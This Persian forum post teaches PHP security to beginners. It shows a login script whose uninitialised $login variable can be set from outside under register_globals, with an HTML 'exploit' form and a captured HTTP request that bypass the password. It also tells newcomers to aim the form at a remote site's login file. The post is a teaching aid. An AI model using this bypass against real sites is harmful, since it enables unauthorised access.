امنیت در Php
نکته : سعی میشه در این تاپیک به زبان خیلی ساده در باره ی این مبحث بحثبشه تا اونهایی که تازه شروع کردن بتونن همراه بشن ( به قول بچه ها :زیادی شفاف سازی میکنیم ! )

برای شروع از مبحث درست عرض یابی نشدن متد های GET و POST شروع میکنم

برای مثال به قطعه کد زیر نگاه کنید که برای لوگین طراحی شده :

كد:

<?
if (empty($_POST['password'])){
?>
<html>
<body>
<form action=login.php method=POST>
password:<input type=password name=password>
<input type=submit value=ok>
</form>
</body>
</html>
<?
}
?>
<?
$password = strtolower(md5($_POST['password']));
$pass = "fcdd8c14398367d1a71f1d66c8d5be0a";
if($password == $pass){
$login= 1;
}
if($login==1)
{
echo "shoma vared shodid";
}else{
echo "password eshtebah ast";
}
?>



خوب همون طور که میبینید هیچ مشکلی نیست و فقط با دونستن کلمه ی عبور میتونید وارد بشید و پیغام شما وارد شدید رو ببینید

کلمه عبور = (nic واقعی خودم یا همون asadhacker )

خوب اگه به کد نگاه کنید میبینید که کلمه عبور کاملا" هش شده و نمیشهپیچوندتش ولی اگه یکم دقت کنید متوجه میشید زمانی که پسورد درست وارد بشهاونوقت متغیر login مقدار یک میگیره و شرط برقرار میشه و لوگین کامل میشه! خوب برای دور زدن این کد تنها کاری که ما باید بکنیم اینه که بیایم بهمتغیر login مقدار یک بدیم !

به قطعه کد زیر نگاه کنید :



كد:

<?
echo "<html>
<body>
<form action='login.php' method='POST'>
Password : <input type='password' name='password'>
Login :
<input type='text' name='login' value='1' readonly >
<input type='submit' value='Go'>
</form>
</body>
</html>";
?>



خوب با استفاده از این Exploit شما میتونید بدون داشتن پسورد وارد بشید !یعنی شما اگه پسورد رو اشتباه وارد کنید توی برنامه کنترل میشه توی این خط:

كد:

<?
$password = strtolower(md5($_POST['password']));
$pass = "fcdd8c14398367d1a71f1d66c8d5be0a";
if($password == $pass){ // <== اینجا
$login= 1;
}
if($login==1)
{
echo "shoma vared shodid";
}else{
echo "password eshtebah ast";
}
?>



که اگه اشتباه بود متغیر لوگین مقدار دهی نمیشه ولی بعد تو خط هفتم ازفایل Exploit میبینید که مقدار 1 رو برای متغیر login ارسال میکنه و برابر1 میشه و دیگه باقی
ماجرا ...

برای روشن تر شدن این موضوع بیایم به درخواست های http که از سمت فایل exploit ارسال میشه یه نگاهی بندازیم ! :

كد:

POST /test/login.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Opera/9.02 (Windows NT 5.1; U; en)
Accept: */*
Accept-Language: fa-IR,fa;q=0.9,en;q=0.8
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive, TE
Referer: [برای مشاهده لینک ها شما باید عضو سایت باشید برای عضویت در سایت بر روی اینجا کلیک بکنید]
password=everypassword&login=l



به خط آخر یه نگاهی بندازید ! به متغیر login و password مقدار دهی شده !


نکته برای تازه کار ها : توی فایل Exploit قسمت اکشن که نوشته شدهlogin.php شما باید آدرس فایل راه دور رو به طور کامل وارد کنید از اول [برای مشاهده لینک ها شما باید عضو سایت باشید برای عضویت در سایت بر روی اینجا کلیک بکنید] یا [برای مشاهده لینک ها شما باید عضو سایت باشید برای عضویت در سایت بر روی اینجا کلیک بکنید] تا آخر


حالا سوالی که پیش میاد اینه که اگه به فایل login.php دقت کنید متوجهمیشید که ما برای اینکه بتونیم مقداری که از فرم Html به سمت php ارسالشده استفاده کنیم باید از $_POST استفاده کنیم که در خط 16 ما با استفادهاز $_POST مقدار ارسالی از فرم html رو توی متغیر پسورد قرار دادیم ! ولیما مقدار متغییر لوگین رو برابر $_POST قرار ندادیم که هر داده ای که ازفرم های خارجی بیاد به این متغییر مقدار بده ! پس چطور این اتفاق افتاد؟؟؟ !

خوب جواب این سوال توی همین متن نوشته شده است.